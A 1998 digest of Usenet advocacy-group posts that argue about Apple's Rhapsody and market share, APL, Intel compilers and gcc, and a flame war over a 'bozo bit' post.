"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 30 Apr 1998 12:02:34 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us567jrjo11.fsf@ai.mit.edu>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu> <slrn6k44k2.pe0.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) writes:
> And has anyone else ever had to learn/use APL? Now that is a ugly
> language. It looks like a language Salvador Dali would design...
Actually, it looks like a language a mathematician would design. And
it was :-)
The neat part is actually programming APL on a keyboard designed for
it. I don't think one of those has been made since IBM stopped
production on the 5110.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 1 May 1998 03:12:48 GMT
Organization: I don't think so
Message-ID: <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net>
Lance Togar wrote:
>> In all honesty you shortened the Mac's operation by a few steps. It
>>only takes me about twice as many steps on a NT box to set up dial up
>>networking as it takes me on a Mac.
>Eight mouse clicks (including the start menu) on my NT box. So... you can do
>it in 4 on your Mac? Tell us what they are.
I can do it with zero mouse clicks on a new install of Mklinux or
Linux/PowerPC!
Beat that, Mac/95/NT droids!
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: gphilbin@isis.net (Gary Philbin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 30 Apr 1998 10:43:48 GMT
Organization: ISIS Network
Message-ID: <6ibiba$clc@argentina.earthlink.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <MPG.fad7a7c96bc87a49896cb@news.unt.edu>, f@pearl.net (Fred) wrote:
>> In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
>> says...
>> > Look deep inside yourself. Visualize the empty space within. That is
>> > where your inner bozo lives. It can be destroyed. Open up that space to
>> > the nourishing light of the Really Bright Yellow Light in The Big Room
>> > with The Blue Ceiling.
>> >
>> > Imagine that light illuminating the fetid, rotten inner bozo that has been
>> > poisoning you for years. Imagine letting a fresh, clean wind into that
>> > space to dissipate its rancid vapors. Imagine being free of the inner bozo
>> > that makes you squirt semantic diarrhea all over innocent people on
>> > Usenet.
>> >
>> > You can be helped. But in the meantime, your bozo bit has been flipped, so
>> > as to keep your poop off me.
>>
>> This is quite probably the greatest single usenet post I've ever read..
>I'm not surprised. You seem to be incapable of logical debate, too.
>It's too bad that people incapable of logical thought like you and kris
>are able to post to Usenet. You're a good part of the reason that it's so
>full of mindless posts and ad-hominem attacks.
Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
you got pissed on in classic fashion by someone who's way out of your
league. If I were you I'd keep quiet for a while. You're just making
yourself look worse.
From: gphilbin@isis.net (Gary Philbin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 30 Apr 1998 10:40:00 GMT
Organization: ISIS Network
Message-ID: <6ibi46$cbu@argentina.earthlink.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com>
One of the best posts in recent memory. I'm savin' this one.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 1 May 1998 05:13:11 GMT
Organization: @Home Network
Message-ID: <6ibll7$8jd$1@ha2.rdc1.sdca.home.com>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com>
<6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
<35479A36.AD3AAC09@trilithon.com> <01bd73ce$08f9d590$04387880@test1>
<6i8uqj$p1b$1@ha2.rdc1.sdca.home.com> <01bd7478$fb9622e0$04387880@test1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: todd@NetSQ.com
In <01bd7478$fb9622e0$04387880@test1> "Todd Heberlein" wrote:
> > > I predict this will be a very interesting year for Apple...
> Waiting
> > > for news from WWDC...
>
> > While you're waiting... what would you do with Apple's interesting
> year?
>
> WWDC & APPLE DEVELOPERS
> -----------------------
> First, "Its the Applications, Stupid" to borrow a phrase from the
> Clinton campaign. Apple is nothing without applications, and that is
> why it has been critical for Apple to get Microsoft on-board with a new
> Office for the Mac and why Apple is working very hard to get Intuit
> back into the Mac game. People don't use an OS, people use
> applications.
>
> So, how does Apple convince existing developers to stick with Apple,
> and how does Apple convince new developers or developers of new
> products to deliver for Apple?
>
> What API will Apple push at this year's WWDC? The older Mac Toolbox or
> OpenStep? Will Apple push the cross-platform capabilities of
> YellowBox? As has been mentioned before, forget the operating system,
> it is the APIs which are important!
>
> How will Apple license its libraries to developers?
>
> This year's WWDC will have to address these issues, and in doing so
> will frame Apple's relationship with developers for the future. And,
> once again, it is the developers and the applications that they produce
> which will make or break Apple.
>
>
Yeah, we're all waiting just like you to find out whether we throw in the
towel or cinch up for another ride with SJ. Developers need to know what
slice of the marketspace Apple is claiming. Developer's can't craft a
BusinessPlan for Venture Capital without knowing whether their company plans
are duplicitous. Marketing Plans need to know how to dovetail with product
roadmaps.
I'm not convinced it's "all" applications. I'd want to positioin Apple in the
layer just between content and context. A middleware strategy...
Applications absolutely, yes, to make Apple products interoperate with the
PalmPilots, Psions, Rex's, LotusNotes, etc... of the world. But face it.
That is catch-up work. Can Apple skip this work? Are Java stations around
the corner?
> NEW SYSTEMS
> -----------
> Second, Apple will soon be releasing Rhapsody, a solid, UNIX-class
> operating system with a Mac look and feel and the ability to run most
> existing MacOS applications. It was for this capability that Apple
> purchased NeXT, which ultimately led to the demise of most of Apple's
> senior management at the time.
>
> How will Rhapsody be accepted by customers? Will there be a healthy
> supply of native Rhapsody applications (rather than MacOS applications
> in BlueBox)?
>
> How will Apple position Rhapsody? Will it be positioned mainly as a
> server? A Mac workstation for the power users?
>
> What will the relationship between Rhapsody and MacOS be? Will
> Rhapsody be positioned mainly as a server, supplying applications to
> run on MacOS systems? Or will Rhapsody be positioned to run
> applications right on Rhapsody, sending drawing commands over a network
> or firewire to be displayed on a very then MacOS system?
>
>
This logic is too clean for me. I'm still reeling from the SJ invocation
that the "Desktop War is Over" and Microsoft needn't Lose for Apple to Win".
Maybe I missed the reset button on this spin... I doubt SJ is setting Apple
into GroundHog Mode. Think about it. There isn't really time to start the
Desktop War all over again. I'm therefor discrediting any ClientOS right now.
I think it is MacOS until Java thin clients arrive on the marketplace.
Positioning will put a Rhapsody ServerOS under every Mac network. A
HOMEserver maybe? Definately an OFFICEserver in every department.
I don't think Apple can open too many fronts on which to wage their comeback.
So the strategy will be spare and ruthless. Home and Office sounds doable, to
me. That's a BoatLoad of product to fill up those segments for the thin
clients downstream.
> NEW CONTENT CREATION
> --------------------
> We are finally seeing widespread adoption of writeable CD players.
> With the capability to store large amounts of multimedia data on CDs
> and distribute them for about $2 a pop, everyone can become a media
> creator. And with similar potential for DVD around the corner, and DVD
> players starting to become widely available, CD/DVD content creation
> may offer opportunities as big or bigger than Web content creation.
>
> For example, Apple recently announce a plan to distribute Avid
> Technology, Inc.'s Avid Cinema video editing package with new
> All-in-one Macs for education[1]. Initially promoted as a way to
> develop video yearbooks, the possibilities are enormous.
>
> Imagine:
>
> o Every school band being able to cut a CD each year with the audio of
> all band concerts, marches, and students' solo and ensembles. Also
> included would be video from football half-time performances.
>
> o Every high-school rock band now being able to cut their own CDs with
> their music and own music videos.
>
> o Every sports booster program distributing a CD at the end of each
> season with scores, stats, photographs, and video highlights from every
> game.
>
> o New parents being able to distribute *edited* video of their new baby
> to all their relatives. No more sitting through two hours of the baby
> laying there for those few choice moments.
>
> Apple is probably better positioned than anyone to take advantage of
> this new wave of CD/DVD content creation. Will Apple use this to sell
> new software and new systems?
>
>
> INFLECTION POINTS
> -----------------
> As mentioned before, we are about to see a major inflection point:
> cable systems and broadcaster are about to move to digital TV big time
> (e.g., our local TCI currently offers digital cable with additional
> capabilities), high definition TVs will be hitting the market, NTSC TV
> broadcast is being phased out over the next decade, and we are starting
> to see the switch from decades old VHS technology to new DVD-based
> technology for recording (not quite yet) and video playback.
>
> All this change creates an enormous potential market, and I believe
> Apple needs to look for new markets. Will the rumored Apple Media
> Player (AMP) fit into this market somehow? Would a joint venture
> between Apple and companies already in the consumer electronics market
> (e.g., Sony) make sense?
>
>
HDTV is just too big for Apple to play in any significant way beyond which
their technology could serve as an infrastructure standard. Honestly, I think
that game is alot of arrows in the back for the pioneers. I'd hold Apple
resources off that dog...
> SUMMARY
> -------
> In addition to the continuous rumores of Apple being bought by some
> other company, we have the following to look forward to this year:
> o Apple setting its technology direction and establishing
> its relationship with developers at WWDC in two weeks.
> o Apple releasing Rhapsody - a change probably only rivaled
> by the change from the Apple II to the Mac.
I don't think so... important but not that fundamental. I'll wait for the
JavaOS wars before I weigh in on Rhapsody further.
> o The revolution of content creation for CDs made possible
> by low-cost writeable CD players and new software will
> open new markets perhaps as big as content creation for
> the web.
Desktop production? Probably not Apple's revolution to enjoy like they
enjoyed Desktop Publishing.
> o The mass revolution of digital TV, HDTV, DVD, and new
> set-top boxes, all set to really role this fall, will
> usher in even more opportunities.
>
> I truly believe that 1998 will be looked back upon as a major year for
> Apple. Will it be looked upon as a new beginning or a major missed
> opportunity?
>
>
I'm looking at '01 as the year of make or break for Apple. '98
restructuring/reorganising. 99 repositioning/relaunching. 2000 product
launch/new strategy. 01 make or break. In between a whole lot of alignment
and mergers. I'm weary of an economy calamity which Apple must be able to
weather. They aren't that healthy yet. One economic hickup and this
jumpstart sputters.
-r
From: 00093182@bigred.unl.edu (Josh Hesse)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 1 May 1998 06:04:39 GMT
Organization: CANeM///Cabal Academic Network Monitoring///[tinc]
Message-ID: <6iboln$q4v@crcnis3.unl.edu>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com> <3548BF7E.42E04F3C@nstar.net> <6iara8$91g$2@ha2.rdc1.sdca.home.com> <3548F434.729A@CONVEX.COM> <rmcassid-3004981636130001@dante.eng.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: In article <3548F434.729A@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
:
: >Didn't they also report that they expected to raise 50% of their revenue
: >from their website this coming year? I was surprised the percentage was
: >so low; I thought they got most of their sales from the website.
:
: I was surprised it was that low as well. I think Dell does a lot of
: business with large orders. My stepfather decided to upgrade all the
: computers at his company and ordered them all from Compaq, I think. It was
: something like 6,000 systems. Takes a lot of hits on a website to make up
: for those kinds of volumes.
:
FWIW(not much with POS NT on them...) UNL's engineering labs got a _LOT_ of
new Dell GX something or others.
Their cases are almost as ugly as Compaq's.
-Josh
--
Do not send mail to this account. Really.
"Talk about silly conspiracy theories..." -Wayne Schlitt in unl.general
This post (C)1998, Josh Hesse. Quoted material is (C) of the person quoted.
|ess|erb|unl|u| (Oo) MYTHOS How's my posting? 1-800-DEV-NULL
email: jh|e@h|ie.|.ed| /||\ NEW AEON .Sigfile freshness date: 4/2/98
Free Karate practices for UNL students & staff--- Just ask me.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr28150722@slave.doubleu.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
In-reply-to: jayfar@netaxs.com's message of Tue, 28 Apr 1998 16:04:34 -0400
Date: 1 May 1998 04:12:47 -0500
In article <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>,
jayfar@netaxs.com (Jayfar) writes:
In article <6i4sg4$mb9@mozo.cc.purdue.edu>,
pomart@cartoon.ecn.purdue.edu (Your Name) wrote:
| Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
| >http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
|
| >IDC sez Apple's US marketshare went from 3.4% in Q497, to
| >4.0% in Q198.
|
| >Not much, but I'll take it...
|
| NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
| much to tell you the truth. At this rate Apple will be #1 in
| terms of market share in a year or two!
Uh, more objectively it's a .6% (point six) increase. Percentage
increase of a percentage figure is not a generally meaningful stat.
Uh, OK. I think you're pushing the semantical argument a _bit_ far.
Say the entire market was 1 million machines (just a round number out
of my hat). A 3.4% market share is then 34,000 machines. A 4.0%
market share is then 40,000 machines. So, the increase in market
share was 0.6% - the increase in sales was just under %18.
Of course, the market grows and shrinks over time, so this is more
demonstrative than scientific,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr28150244@slave.doubleu.com>
References: <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu>
<6i3fc7$cj3$1@hercules.acsu.buffalo.edu>
<6i4mq0$ec6$1@new-news.cc.brandeis.edu>
<6i588v$o1f$1@joxer.acsu.buffalo.edu>
<geordie-2804981542310001@130.130.117.53>
In-reply-to: geordie@chapman.com's message of Tue, 28 Apr 1998 15:42:31 -0500
Date: 1 May 1998 04:12:42 -0500
In article <geordie-2804981542310001@130.130.117.53>,
geordie@chapman.com (Geordie Korper) writes:
In article <6i588v$o1f$1@joxer.acsu.buffalo.edu>,
scholl@joxer.acsu.buffalo.edu (Edward P Scholl) wrote:
:: >: e) Have to click the "OK" button in the Network control panel
:: >: in order for ANY changes you just made to any client,
:: >: protocol, or interface to be saved, if you click in the close
:: >: button in the top of the Network control panel it CLOSES
:: >: WITHOUT SAVING, and doesn't ask you. A good tip off you did
:: >: this is if you notice you don't have to restart.
:: >
:: >gee. imagine that. if you have such a problem with that, try
:: >the "return" key instead.
:
:: I'M NOT COMPLAINING THAT I DON'T KNOW HOW TO DO IT. You, and
:: the rest of the unwashed masses, are stewing in your own juices
:: as long as you continue to put up with this brain dead lack of
:: common interface sense. It would do you a lot of good to
:: COMPLAIN more about this. Sure, it
:
:complain about what?!!? when the settings are what i want, i
:click ok. when they are not what i want, and i want to exit, i
:click cancel. it's just a difference in the way the 2 systems
:work. i think this is your weakest argument, and you are so
:adament about it!
The fact that closing a modified window does not bring up a dialog
box saying "are you sure you want to lose all changes?" is a sign
that the operating system had little or no QA. That you think it is
a weak argument just shows how little you know about program
design. There is a reason that there are buttons lableled cancel
and ok.
In cases like this, rather than bring up a dialog box, it would be
better to just not have a close button in the first place. Then your
options are Cancel and Accept.
My personal favorite is "OK" versus "Apply". There are a number of
places where I'm hard-pressed to understand why they're there (what
exactly does "OK" mean compared to "Apply" in cases where the change
doesn't take effect until reboot?).
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr30154032@slave.doubleu.com>
References: <6i282r$ctg@newsb.netnews.att.com> <slrn6k9bqj.5s5.sal@panix3.panix.com>
<6i8qp3$cmp@newsb.netnews.att.com>
<6ia5qu$kja$1@new-news.cc.brandeis.edu>
In-reply-to: xray@cs.brandeis.edu's message of 30 Apr 1998 15:37:02 GMT
Date: 1 May 1998 04:13:06 -0500
In article <6ia5qu$kja$1@new-news.cc.brandeis.edu>,
xray@cs.brandeis.edu (Nathan G. Raymond) writes:
In article <6i8qp3$cmp@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Intel is being smart. I think Intel is producing the compiler,
>lining up UNIX vendors -- HP of course, and SUN, and SCO. Dunno if
>IBM is going to jump on the bandwagon. Intel will have software
>for Merced whether or not Microsoft is ready.
But what is to become of gcc and, therefore, GNU tools?!
Intel has, in the past, used gcc as a means to demonstrate potential
optimizations. I'm pretty sure they did this during the changeover
from 486 to Pentium, which was the impetus for the pgcc project (I've
no idea if they snarfed code Intel released or not, just that it was
the impetus).
Keep in mind, that to a great degree, gcc is still a 386/486 compiler.
Either its a lot easier to write a VLIW compiler (that does its own
pipelining) or gcc is a non-player. Which has me scratching my
head over the future of GNU. Is VLIW a threat? Is it a strategic
move to take software development out of the hands of end-users,
Linux, and free *BSD folk and limit it to people who can pay
whatever price VLIW chipmakers like Intel want to charge?! Is this
a non-issue? Or is this something that will destine
GNU/copyleft/open source folk to turn to other architectures?
I'm worried that nothing has been mentioned about this... compiler
technology should be available to everyone, not just companies with
big $$$.
It's doubtful that Intel is doing anything radical. More likely
they're leveraging off of a couple decades of research (done a decade
ago) in a unique fashion. I'm not suggesting a _better_ fashion, just
_different_. I'd be amazed if they released things that were over the
heads of the people working on GCC.
That just leaves the question of whether they'll make the programming
info readily available. I can't imagine any way they could get the
wide distribution they need for volume, while still maintaining
complete secrecy on what the opcodes and addressing modes and the like
are. I mean, that'd require a "Roswell" level of conspiracy.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 04:48:30 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35499A6E.DA61E13@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> They are *NOT* meaningless to people who know how to use them.
Which would, of course, be Salvatore Denaro!
> They show the rate of change between to sample points. If you don't know
> why this is useful, then RTFM.
Rate of change is another description of yet the same thing we've been
talking about. Do you think that by changing the phraseology you'll snow
in the discussion? If I call it the first derivative, will you be duly
impressed? Maybe I should be looking for inflection points and maximums,
all based on two statistical data.
Is this what you propose? This is meaningful statistical measurement: to
measure derivates (let's call it "acceleration" in this paragraph) on
the basis of TWO absolute data?
You might need to head back to Prob/Stat and revisit the section on
small populations and error as you take multiple derivatives of the
data.
> >When you measure percentages, it is only statistically meaningful to
> >measure percentages of fixed amounts,
>
> Unless you know what a derivatives are.
Oh, look, you pre-empted me. If I'm going to win the buzzword race I'll
have to try harder.
[cut]
> The rate of growth of Apple's share (delta) -> 15%
That would be 15%(% market share). Didn't your prof warn you to include
your units?
In other words, fifteen percent percent.
> >while Apple's market share growth is measured against market volume, an
> >inherently INCONSTANT number. Thank you for making the point so well.
>
> THIS STAT MAKES NO ASSUMPTIONS ON MARKET VOLUME, OR ANY CHANGES IN MARKET
> VOLUME. IT REPORTS ONLY ON THE RATE OF CHANGE OF APPLE'S SHARE OF THE TOTAL
> MARKET.
Precisely, the rate of change as a function of a constantly (and
unpredictably) changing value.
Go ahead, draw me that graph and label the axes. With two data. Now draw
your curve. On two data. Show me the meaningful measurements you're
going to make. On two data.
At least with percent change you can show a first-order linear
progression, even between two data. With "rate of change" as a function
of an independent variable, there is nothing meaningful to conclude
about your calculations. Zero.
[cut]
> It shows a change in the rate of growth. In 1995, Apple shipped more machines
> than in 1994, but the rate of growth was negitive. This was one of the first
> signs that something was wrong.
Only if you know something about the size of the PC market over those
two years, period. OR, if you can back-calculate that market size by
knowing Apple's sales volume over those two years (as you apparently
did). Now you have introduced more data, and you can begin to draw a
more meaningful picture.
> >Forgive me, but I believe you've overlooked some facts.
>
> Please list them.
I think I've been generous so far. Don't be a glutton for punishment.
[cut]
> What exactly is your background?
In what? I don't have time to tell "the truth, the whole truth, and
nothing but the truth" in this forum. Maybe you can be more specific.
> Have you ever read a finacial report?
Yes.
> A balance sheet?
Yes.
> >[laugh]
>
> They are laughing at you, not with you.
Who is "they"? Why do I always feel like you're performing for some
fictitious audience, Sal? Is that why you post here? You certainly seem
to be posturing. That could be the root of this whole problem.
MJP
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 May 1998 11:12:44 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <6icanc$osj$1@news.utrecht.NL.net>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu> <slrn6k44k2.pe0.sal@panix3.panix.com> <us567jrjo11.fsf@ai.mit.edu>
Stephen Peters <portnoy@ai.mit.edu> wrote:
> sal@panix3.panix.com (Salvatore Denaro) writes:
> > And has anyone else ever had to learn/use APL? Now that is a ugly
> > language. It looks like a language Salvador Dali would design...
> Actually, it looks like a language a mathematician would design. And
> it was :-)
> The neat part is actually programming APL on a keyboard designed for
> it. I don't think one of those has been made since IBM stopped
> production on the 5110.
Unfortunately, even _that_ language could be misused - I've seen people
writing text editors in it ...
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; NWP: http://www.knmi.nl/hirlam
Date: Fri, 01 May 1998 08:40:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Message-ID: <joe.ragosta-0105980840220001@wil106.dol.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net>
In article <6ibiba$clc@argentina.earthlink.net>, gphilbin@isis.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> >It's too bad that people incapable of logical thought like you and kris
> >are able to post to Usenet. You're a good part of the reason that it's so
> >full of mindless posts and ad-hominem attacks.
>
> Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
> you got pissed on in classic fashion by someone who's way out of your
> league. If I were you I'd keep quiet for a while. You're just making
> yourself look worse.
How am I making myself look worse?
Someone throws out a complete ad hominem attack without one shred of
logic. I point that out to them and you argue that it makes me look bad?
Seems like you're in the same boat as the original poster.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net> <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>
Subject: Re: first post
Date: Fri, 1 May 1998 09:16:39 -0400
Message-ID: <3549c5b0.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Jason S. wrote in message ...
>Lance Togar wrote:
>
>>> In all honesty you shortened the Mac's operation by a few steps. It
>>>only takes me about twice as many steps on a NT box to set up dial up
>>>networking as it takes me on a Mac.
>
>>Eight mouse clicks (including the start menu) on my NT box. So... you can
do
>>it in 4 on your Mac? Tell us what they are.
>
>I can do it with zero mouse clicks on a new install of Mklinux or
>Linux/PowerPC!
>
>Beat that, Mac/95/NT droids!
>
..
And you could do those zero mouse clicks far more reliably on PC running
Linux.
..
..
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 1 May 1998 08:16:08 -0500
Organization: Texas Instruments
Message-ID: <MPG.fb38710b4ed417898971d@news.itg.ti.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <6ibiba$clc@argentina.earthlink.net>, gphilbin@isis.net wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >
> > >It's too bad that people incapable of logical thought like you and kris
> > >are able to post to Usenet. You're a good part of the reason that it's so
> > >full of mindless posts and ad-hominem attacks.
> >
> > Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
> > you got pissed on in classic fashion by someone who's way out of your
> > league. If I were you I'd keep quiet for a while. You're just making
> > yourself look worse.
>
> How am I making myself look worse?
>
> Someone throws out a complete ad hominem attack without one shred of
> logic. I point that out to them and you argue that it makes me look bad?
>
> Seems like you're in the same boat as the original poster.
That post bozo post was the funniest thing I've read in a long time. If
it had been about me, I'd still have laughed. Joe though, is the worst
curmudgeon I've ever seen. He doesn't even get that he's displaying
EXACTLY the behavior the original post said he had now. Being all bitter
and debate logic-centric is what it was all about. Do Macs do this to
people? Do they make you become zombies that only defend them and can't
think of anything else? From the looks of things around here, I'm
starting to believe that.
--
A world without the Mac is a step closer to utopia.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 May 1998 08:54:28 GMT
Organization: I used to be organized, then they canceled the Newton.
